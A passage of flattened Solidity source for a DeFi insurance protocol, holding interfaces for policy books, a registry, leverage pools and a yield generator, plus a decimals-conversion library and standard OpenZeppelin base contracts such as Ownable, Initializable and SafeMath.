uint256 requestAmount;
uint256 requestSTBLAmount;
uint256 availableSTBLAmount;
}
function tryToAddPolicyBook(address _userAddr, address _policyBookAddr) external;
function tryToRemovePolicyBook(address _userAddr, address _policyBookAddr) external;
function getPolicyBooksArrLength(address _userAddr) external view returns (uint256);
function getPolicyBooksArr(address _userAddr)
external
view
returns (address[] memory _resultArr);
function getLiquidityInfos(
address _userAddr,
uint256 _offset,
uint256 _limit
) external view returns (LiquidityInfo[] memory _resultArr);
function getWithdrawalRequests(
address _userAddr,
uint256 _offset,
uint256 _limit
) external view returns (uint256 _arrLength, WithdrawalRequestInfo[] memory _resultArr);
function getWithdrawalSet(
address _userAddr,
uint256 _offset,
uint256 _limit
) external view returns (uint256 _arrLength, WithdrawalSetInfo[] memory _resultArr);
function registerWithdrawl(address _policyBook, address _users) external;
function getAllPendingWithdrawalRequestsAmount()
external
returns (uint256 _totalWithdrawlAmount);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
import "./IPolicyBookFabric.sol";
import "./IClaimingRegistry.sol";
import "./IPolicyBookFacade.sol";
interface IPolicyBook {
enum WithdrawalStatus {NONE, PENDING, READY, EXPIRED}
struct PolicyHolder {
uint256 coverTokens;
uint256 startEpochNumber;
uint256 endEpochNumber;
uint256 paid;
uint256 reinsurancePrice;
}
struct WithdrawalInfo {
uint256 withdrawalAmount;
uint256 readyToWithdrawDate;
bool withdrawalAllowed;
}
struct BuyPolicyParameters {
address buyer;
address holder;
uint256 epochsNumber;
uint256 coverTokens;
uint256 distributorFee;
address distributor;
}
function policyHolders(address _holder)
external
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256
);
function policyBookFacade() external view returns (IPolicyBookFacade);
function setPolicyBookFacade(address _policyBookFacade) external;
function EPOCH_DURATION() external view returns (uint256);
function stblDecimals() external view returns (uint256);
function READY_TO_WITHDRAW_PERIOD() external view returns (uint256);
function whitelisted() external view returns (bool);
function epochStartTime() external view returns (uint256);
// @TODO: should we let DAO to change contract address?
/// @notice Returns address of contract this PolicyBook covers, access: ANY
/// @return _contract is address of covered contract
function insuranceContractAddress() external view returns (address _contract);
/// @notice Returns type of contract this PolicyBook covers, access: ANY
/// @return _type is type of contract
function contractType() external view returns (IPolicyBookFabric.ContractType _type);
function totalLiquidity() external view returns (uint256);
function totalCoverTokens() external view returns (uint256);
// /// @notice return MPL for user leverage pool
// function userleveragedMPL() external view returns (uint256);
// /// @notice return MPL for reinsurance pool
// function reinsurancePoolMPL() external view returns (uint256);
// function bmiRewardMultiplier() external view returns (uint256);
function withdrawalsInfo(address _userAddr)
external
view
returns (
uint256 _withdrawalAmount,
uint256 _readyToWithdrawDate,
bool _withdrawalAllowed
);
function __PolicyBook_init(
address _insuranceContract,
IPolicyBookFabric.ContractType _contractType,
string calldata _description,
string calldata _projectSymbol
) external;
function whitelist(bool _whitelisted) external;
function getEpoch(uint256 time) external view returns (uint256);
/// @notice get STBL equivalent
function convertBMIXToSTBL(uint256 _amount) external view returns (uint256);
/// @notice get BMIX equivalent
function convertSTBLToBMIX(uint256 _amount) external view returns (uint256);
/// @notice submits new claim of the policy book
function submitClaimAndInitializeVoting(string calldata evidenceURI) external;
/// @notice submits new appeal claim of the policy book
function submitAppealAndInitializeVoting(string calldata evidenceURI) external;
/// @notice updates info on claim acceptance
function commitClaim(
address claimer,
uint256 claimAmount,
uint256 claimEndTime,
IClaimingRegistry.ClaimStatus status
) external;
/// @notice forces an update of RewardsGenerator multiplier
function forceUpdateBMICoverStakingRewardMultiplier() external;
/// @notice function to get precise current cover and liquidity
function getNewCoverAndLiquidity()
external
view
returns (uint256 newTotalCoverTokens, uint256 newTotalLiquidity);
/// @notice view function to get precise policy price
/// @param _epochsNumber is number of epochs to cover
/// @param _coverTokens is number of tokens to cover
/// @param _buyer address of the user who buy the policy
/// @return totalSeconds is number of seconds to cover
/// @return totalPrice is the policy price which will pay by the buyer
function getPolicyPrice(
uint256 _epochsNumber,
uint256 _coverTokens,
address _buyer
)
external
view
returns (
uint256 totalSeconds,
uint256 totalPrice,
uint256 pricePercentage
);
/// @notice Let user to buy policy by supplying stable coin, access: ANY
/// @param _buyer who is transferring funds
/// @param _holder who owns coverage
/// @param _epochsNumber period policy will cover
/// @param _coverTokens amount paid for the coverage
/// @param _distributorFee distributor fee (commission). It can't be greater than PROTOCOL_PERCENTAGE
/// @param _distributor if it was sold buy a whitelisted distributor, it is distributor address to receive fee (commission)
function buyPolicy(
address _buyer,
address _holder,
uint256 _epochsNumber,
uint256 _coverTokens,
uint256 _distributorFee,
address _distributor
) external returns (uint256, uint256);
function updateEpochsInfo() external;
function secondsToEndCurrentEpoch() external view returns (uint256);
/// @notice Let eligible contracts add liqiudity for another user by supplying stable coin
/// @param _liquidityHolderAddr is address of address to assign cover
/// @param _liqudityAmount is amount of stable coin tokens to secure
function addLiquidityFor(address _liquidityHolderAddr, uint256 _liqudityAmount) external;
/// @notice Let user to add liquidity by supplying stable coin, access: ANY
/// @param _liquidityBuyerAddr address the one that transfer funds
/// @param _liquidityHolderAddr address the one that owns liquidity
/// @param _liquidityAmount uint256 amount to be added on behalf the sender
/// @param _stakeSTBLAmount uint256 the staked amount if add liq and stake
function addLiquidity(
address _liquidityBuyerAddr,
address _liquidityHolderAddr,
uint256 _liquidityAmount,
uint256 _stakeSTBLAmount
) external;
function getAvailableBMIXWithdrawableAmount(address _userAddr) external view returns (uint256);
function getWithdrawalStatus(address _userAddr) external view returns (WithdrawalStatus);
function requestWithdrawal(uint256 _tokensToWithdraw, address _user) external;
// function requestWithdrawalWithPermit(
// uint256 _tokensToWithdraw,
// uint8 _v,
// bytes32 _r,
// bytes32 _s
// ) external;
function unlockTokens() external;
/// @notice Let user to withdraw deposited liqiudity, access: ANY
function withdrawLiquidity(address sender) external returns (uint256);
function getAPY() external view returns (uint256);
/// @notice Getting user stats, access: ANY
function userStats(address _user) external view returns (PolicyHolder memory);
/// @notice Getting number stats, access: ANY
/// @return _maxCapacities is a max token amount that a user can buy
/// @return _totalSTBLLiquidity is PolicyBook's liquidity
/// @return _totalLeveragedLiquidity is PolicyBook's leveraged liquidity
/// @return _stakedSTBL is how much stable coin are staked on this PolicyBook
/// @return _annualProfitYields is its APY
/// @return _annualInsuranceCost is percentage of cover tokens that is required to be paid for 1 year of insurance
function numberStats()
external
view
returns (
uint256 _maxCapacities,
uint256 _totalSTBLLiquidity,
uint256 _totalLeveragedLiquidity,
uint256 _stakedSTBL,
uint256 _annualProfitYields,
uint256 _annualInsuranceCost,
uint256 _bmiXRatio
);
/// @notice Getting info, access: ANY
/// @return _symbol is the symbol of PolicyBook (bmiXCover)
/// @return _insuredContract is an addres of insured contract
/// @return _contractType is a type of insured contract
/// @return _whitelisted is a state of whitelisting
function info()
external
view
returns (
string memory _symbol,
address _insuredContract,
IPolicyBookFabric.ContractType _contractType,
bool _whitelisted
);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
interface IPolicyBookFabric {
enum ContractType {CONTRACT, STABLECOIN, SERVICE, EXCHANGE, VARIOUS}
/// @notice Create new Policy Book contract, access: ANY
/// @param _contract is Contract to create policy book for
/// @param _contractType is Contract to create policy book for
/// @param _description is bmiXCover token desription for this policy book
/// @param _projectSymbol replaces x in bmiXCover token symbol
/// @param _initialDeposit is an amount user deposits on creation (addLiquidity())
/// @return _policyBook is address of created contract
function create(
address _contract,
ContractType _contractType,
string calldata _description,
string calldata _projectSymbol,
uint256 _initialDeposit,
address _shieldMiningToken
) external returns (address);
function createLeveragePools(
ContractType _contractType,
string calldata _description,
string calldata _projectSymbol
) external returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
import "./IPolicyBook.sol";
import "./ILeveragePortfolio.sol";
interface IPolicyBookFacade {
/// @notice Let user to buy policy by supplying stable coin, access: ANY
/// @param _epochsNumber period policy will cover
/// @param _coverTokens amount paid for the coverage
function buyPolicy(uint256 _epochsNumber, uint256 _coverTokens) external;
/// @param _holder who owns coverage
/// @param _epochsNumber period policy will cover
/// @param _coverTokens amount paid for the coverage
function buyPolicyFor(
address _holder,
uint256 _epochsNumber,
uint256 _coverTokens
) external;
function policyBook() external view returns (IPolicyBook);
function userLiquidity(address account) external view returns (uint256);
/// @notice virtual funds deployed by reinsurance pool
function VUreinsurnacePool() external view returns (uint256);
/// @notice leverage funds deployed by reinsurance pool
function LUreinsurnacePool() external view returns (uint256);
/// @notice leverage funds deployed by user leverage pool
function LUuserLeveragePool(address userLeveragePool) external view returns (uint256);
/// @notice total leverage funds deployed to the pool sum of (VUreinsurnacePool,LUreinsurnacePool,LUuserLeveragePool)
function totalLeveragedLiquidity() external view returns (uint256);
function userleveragedMPL() external view returns (uint256);
function reinsurancePoolMPL() external view returns (uint256);
function rebalancingThreshold() external view returns (uint256);
function safePricingModel() external view returns (bool);
/// @notice policyBookFacade initializer
/// @param pbProxy polciybook address upgreadable cotnract.
function __PolicyBookFacade_init(
address pbProxy,
address liquidityProvider,
uint256 initialDeposit
) external;
/// @param _epochsNumber period policy will cover
/// @param _coverTokens amount paid for the coverage
/// @param _distributor if it was sold buy a whitelisted distributor, it is distributor address to receive fee (commission)
function buyPolicyFromDistributor(
uint256 _epochsNumber,
uint256 _coverTokens,
address _distributor
) external;
/// @param _buyer who is buying the coverage
/// @param _epochsNumber period policy will cover
/// @param _coverTokens amount paid for the coverage
/// @param _distributor if it was sold buy a whitelisted distributor, it is distributor address to receive fee (commission)
function buyPolicyFromDistributorFor(
address _buyer,
uint256 _epochsNumber,
uint256 _coverTokens,
address _distributor
) external;
/// @notice Let user to add liquidity by supplying stable coin, access: ANY
/// @param _liquidityAmount is amount of stable coin tokens to secure
function addLiquidity(uint256 _liquidityAmount) external;
/// @notice Let user to add liquidity by supplying stable coin, access: ANY
/// @param _user the one taht add liquidity
/// @param _liquidityAmount is amount of stable coin tokens to secure
function addLiquidityFromDistributorFor(address _user, uint256 _liquidityAmount) external;
/// @notice Let user to add liquidity by supplying stable coin and stake it,
/// @dev access: ANY
function addLiquidityAndStake(uint256 _liquidityAmount, uint256 _stakeSTBLAmount) external;
/// @notice Let user to withdraw deposited liqiudity, access: ANY
function withdrawLiquidity() external;
/// @notice fetches all the pools data
/// @return uint256 VUreinsurnacePool
/// @return uint256 LUreinsurnacePool
/// @return uint256 LUleveragePool
/// @return uint256 user leverage pool address
function getPoolsData()
external
view
returns (
uint256,
uint256,
uint256,
address
);
/// @notice deploy leverage funds (RP lStable, ULP lStable)
/// @param deployedAmount uint256 the deployed amount to be added or substracted from the total liquidity
/// @param leveragePool whether user leverage or reinsurance leverage
function deployLeverageFundsAfterRebalance(
uint256 deployedAmount,
ILeveragePortfolio.LeveragePortfolio leveragePool
) external;
/// @notice deploy virtual funds (RP vStable)
/// @param deployedAmount uint256 the deployed amount to be added to the liquidity
function deployVirtualFundsAfterRebalance(uint256 deployedAmount) external;
/// @notice set the MPL for the user leverage and the reinsurance leverage
/// @param _userLeverageMPL uint256 value of the user leverage MPL
/// @param _reinsuranceLeverageMPL uint256 value of the reinsurance leverage MPL
function setMPLs(uint256 _userLeverageMPL, uint256 _reinsuranceLeverageMPL) external;
/// @notice sets the rebalancing threshold value
/// @param _newRebalancingThreshold uint256 rebalancing threshhold value
function setRebalancingThreshold(uint256 _newRebalancingThreshold) external;
/// @notice sets the rebalancing threshold value
/// @param _safePricingModel bool is pricing model safe (true) or not (false)
function setSafePricingModel(bool _safePricingModel) external;
/// @notice returns how many BMI tokens needs to approve in order to submit a claim
function getClaimApprovalAmount(address user) external view returns (uint256);
/// @notice upserts a withdraw request
/// @dev prevents adding a request if an already pending or ready request is open.
/// @param _tokensToWithdraw uint256 amount of tokens to withdraw
function requestWithdrawal(uint256 _tokensToWithdraw) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
import "./IPolicyBookFabric.sol";
interface IPolicyBookRegistry {
struct PolicyBookStats {
string symbol;
address insuredContract;
IPolicyBookFabric.ContractType contractType;
uint256 maxCapacity;
uint256 totalSTBLLiquidity;
uint256 totalLeveragedLiquidity;
uint256 stakedSTBL;
uint256 APY;
uint256 annualInsuranceCost;
uint256 bmiXRatio;
bool whitelisted;
}
function policyBooksByInsuredAddress(address insuredContract) external view returns (address);
function policyBookFacades(address facadeAddress) external view returns (address);
/// @notice Adds PolicyBook to registry, access: PolicyFabric
function add(
address insuredContract,
IPolicyBookFabric.ContractType contractType,
address policyBook,
address facadeAddress
) external;
function whitelist(address policyBookAddress, bool whitelisted) external;
/// @notice returns required allowances for the policybooks
function getPoliciesPrices(
address[] calldata policyBooks,
uint256[] calldata epochsNumbers,
uint256[] calldata coversTokens
) external view returns (uint256[] memory _durations, uint256[] memory _allowances);
/// @notice Buys a batch of policies
function buyPolicyBatch(
address[] calldata policyBooks,
uint256[] calldata epochsNumbers,
uint256[] calldata coversTokens
) external;
/// @notice Checks if provided address is a PolicyBook
function isPolicyBook(address policyBook) external view returns (bool);
/// @notice Checks if provided address is a policyBookFacade
function isPolicyBookFacade(address _facadeAddress) external view returns (bool);
/// @notice Checks if provided address is a user leverage pool
function isUserLeveragePool(address policyBookAddress) external view returns (bool);
/// @notice Returns number of registered PolicyBooks with certain contract type
function countByType(IPolicyBookFabric.ContractType contractType)
external
view
returns (uint256);
/// @notice Returns number of registered PolicyBooks, access: ANY
function count() external view returns (uint256);
function countByTypeWhitelisted(IPolicyBookFabric.ContractType contractType)
external
view
returns (uint256);
function countWhitelisted() external view returns (uint256);
/// @notice Listing registered PolicyBooks with certain contract type, access: ANY
/// @return _policyBooksArr is array of registered PolicyBook addresses with certain contract type
function listByType(
IPolicyBookFabric.ContractType contractType,
uint256 offset,
uint256 limit
) external view returns (address[] memory _policyBooksArr);
/// @notice Listing registered PolicyBooks, access: ANY
/// @return _policyBooksArr is array of registered PolicyBook addresses
function list(uint256 offset, uint256 limit)
external
view
returns (address[] memory _policyBooksArr);
function listByTypeWhitelisted(
IPolicyBookFabric.ContractType contractType,
uint256 offset,
uint256 limit
) external view returns (address[] memory _policyBooksArr);
function listWhitelisted(uint256 offset, uint256 limit)
external
view
returns (address[] memory _policyBooksArr);
/// @notice Listing registered PolicyBooks with stats and certain contract type, access: ANY
function listWithStatsByType(
IPolicyBookFabric.ContractType contractType,
uint256 offset,
uint256 limit
) external view returns (address[] memory _policyBooksArr, PolicyBookStats[] memory _stats);
/// @notice Listing registered PolicyBooks with stats, access: ANY
function listWithStats(uint256 offset, uint256 limit)
external
view
returns (address[] memory _policyBooksArr, PolicyBookStats[] memory _stats);
function listWithStatsByTypeWhitelisted(
IPolicyBookFabric.ContractType contractType,
uint256 offset,
uint256 limit
) external view returns (address[] memory _policyBooksArr, PolicyBookStats[] memory _stats);
function listWithStatsWhitelisted(uint256 offset, uint256 limit)
external
view
returns (address[] memory _policyBooksArr, PolicyBookStats[] memory _stats);
/// @notice Getting stats from policy books, access: ANY
/// @param policyBooks is list of PolicyBooks addresses
function stats(address[] calldata policyBooks)
external
view
returns (PolicyBookStats[] memory _stats);
/// @notice Return existing Policy Book contract, access: ANY
/// @param insuredContract is contract address to lookup for created IPolicyBook
function policyBookFor(address insuredContract) external view returns (address);
/// @notice Getting stats from policy books, access: ANY
/// @param insuredContracts is list of insuredContracts in registry
function statsByInsuredContracts(address[] calldata insuredContracts)
external
view
returns (PolicyBookStats[] memory _stats);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
import "./IPolicyBookFabric.sol";
import "./IClaimingRegistry.sol";
import "./IPolicyBookFacade.sol";
interface IUserLeveragePool {
enum WithdrawalStatus {NONE, PENDING, READY, EXPIRED}
struct WithdrawalInfo {
uint256 withdrawalAmount;
uint256 readyToWithdrawDate;
bool withdrawalAllowed;
}
struct BMIMultiplierFactors {
uint256 poolMultiplier;
uint256 leverageProvided;
uint256 multiplier;
}
/// @notice Returns type of contract this PolicyBook covers, access: ANY
/// @return _type is type of contract
function contractType() external view returns (IPolicyBookFabric.ContractType _type);
function userLiquidity(address account) external view returns (uint256);
function EPOCH_DURATION() external view returns (uint256);
function READY_TO_WITHDRAW_PERIOD() external view returns (uint256);
function epochStartTime() external view returns (uint256);
function withdrawalsInfo(address _userAddr)
external
view
returns (
uint256 _withdrawalAmount,
uint256 _readyToWithdrawDate,
bool _withdrawalAllowed
);
function __UserLeveragePool_init(
IPolicyBookFabric.ContractType _contractType,
string calldata _description,
string calldata _projectSymbol
) external;
function getEpoch(uint256 time) external view returns (uint256);
/// @notice get STBL equivalent
function convertBMIXToSTBL(uint256 _amount) external view returns (uint256);
/// @notice get BMIX equivalent
function convertSTBLToBMIX(uint256 _amount) external view returns (uint256);
/// @notice forces an update of RewardsGenerator multiplier
function forceUpdateBMICoverStakingRewardMultiplier() external;
/// @notice function to get precise current cover and liquidity
function getNewCoverAndLiquidity()
external
view
returns (uint256 newTotalCoverTokens, uint256 newTotalLiquidity);
function updateEpochsInfo() external;
function secondsToEndCurrentEpoch() external view returns (uint256);
/// @notice Let user to add liquidity by supplying stable coin, access: ANY
/// @param _liqudityAmount is amount of stable coin tokens to secure
function addLiquidity(uint256 _liqudityAmount) external;
// /// @notice Let eligible contracts add liqiudity for another user by supplying stable coin
// /// @param _liquidityHolderAddr is address of address to assign cover
// /// @param _liqudityAmount is amount of stable coin tokens to secure
// function addLiquidityFor(address _liquidityHolderAddr, uint256 _liqudityAmount) external;
function addLiquidityAndStake(uint256 _liquidityAmount, uint256 _stakeSTBLAmount) external;
function getAvailableBMIXWithdrawableAmount(address _userAddr) external view returns (uint256);
function getWithdrawalStatus(address _userAddr) external view returns (WithdrawalStatus);
function requestWithdrawal(uint256 _tokensToWithdraw) external;
// function requestWithdrawalWithPermit(
// uint256 _tokensToWithdraw,
// uint8 _v,
// bytes32 _r,
// bytes32 _s
// ) external;
function unlockTokens() external;
/// @notice Let user to withdraw deposited liqiudity, access: ANY
function withdrawLiquidity() external;
function getAPY() external view returns (uint256);
function whitelisted() external view returns (bool);
function whitelist(bool _whitelisted) external;
/// @notice set max total liquidity for the pool
/// @param _maxCapacities uint256 the max total liquidity
function setMaxCapacities(uint256 _maxCapacities) external;
/// @notice Getting number stats, access: ANY
/// @return _maxCapacities is a max liquidity of the pool
/// @return _totalSTBLLiquidity is PolicyBook's liquidity
/// @return _totalLeveragedLiquidity is becuase to follow the same function in policy book
/// @return _stakedSTBL is how much stable coin are staked on this PolicyBook
/// @return _annualProfitYields is its APY
/// @return _annualInsuranceCost is becuase to follow the same function in policy book
/// @return _bmiXRatio is multiplied by 10**18. To get STBL representation
function numberStats()
external
view
returns (
uint256 _maxCapacities,
uint256 _totalSTBLLiquidity,
uint256 _totalLeveragedLiquidity,
uint256 _stakedSTBL,
uint256 _annualProfitYields,
uint256 _annualInsuranceCost,
uint256 _bmiXRatio
);
/// @notice Getting info, access: ANY
/// @return _symbol is the symbol of PolicyBook (bmiXCover)
/// @return _insuredContract is an addres of insured contract
/// @return _contractType is becuase to follow the same function in policy book
/// @return _whitelisted is a state of whitelisting
function info()
external
view
returns (
string memory _symbol,
address _insuredContract,
IPolicyBookFabric.ContractType _contractType,
bool _whitelisted
);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
interface IYieldGenerator {
enum DefiProtocols {AAVE, COMPOUND, YEARN}
struct DefiProtocol {
uint256 targetAllocation;
uint256 currentAllocation;
uint256 rebalanceWeight;
uint256 depositedAmount;
bool whiteListed;
bool threshold;
bool withdrawMax;
}
/// @notice deposit stable coin into multiple defi protocols using formulas, access: capital pool
/// @param amount uint256 the amount of stable coin to deposit
function deposit(uint256 amount) external returns (uint256);
/// @notice withdraw stable coin from mulitple defi protocols using formulas, access: capital pool
/// @param amount uint256 the amount of stable coin to withdraw
function withdraw(uint256 amount) external returns (uint256);
/// @notice set the protocol settings for each defi protocol (allocations, whitelisted, threshold), access: owner
/// @param whitelisted bool[] list of whitelisted values for each protocol
/// @param allocations uint256[] list of allocations value for each protocol
/// @param threshold bool[] list of threshold values for each protocol
function setProtocolSettings(
bool[] calldata whitelisted,
uint256[] calldata allocations,
bool[] calldata threshold
) external;
/// @notice Claims farmed tokens and sends it to the reinsurance pool
function claimRewards() external;
/// @notice returns defi protocol info by its index
/// @param index uint256 the index of the defi protocol
function defiProtocol(uint256 index) external view returns (DefiProtocol memory _defiProtocol);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
/// @notice the intention of this library is to be able to easily convert
/// one amount of tokens with N decimal places
/// to another amount with M decimal places
library DecimalsConverter {
using SafeMath for uint256;
function convert(
uint256 amount,
uint256 baseDecimals,
uint256 destinationDecimals
) internal pure returns (uint256) {
if (baseDecimals > destinationDecimals) {
amount = amount.div(10**(baseDecimals - destinationDecimals));
} else if (baseDecimals < destinationDecimals) {
amount = amount.mul(10**(destinationDecimals - baseDecimals));
}
return amount;
}
function convertTo18(uint256 amount, uint256 baseDecimals) internal pure returns (uint256) {
return convert(amount, baseDecimals, 18);
}
function convertFrom18(uint256 amount, uint256 destinationDecimals)
internal
pure
returns (uint256)
{
return convert(amount, 18, destinationDecimals);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../GSN/ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
// solhint-disable-next-line no-inline-assembly
assembly { cs := extcodesize(self) }
return cs == 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../../GSN/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
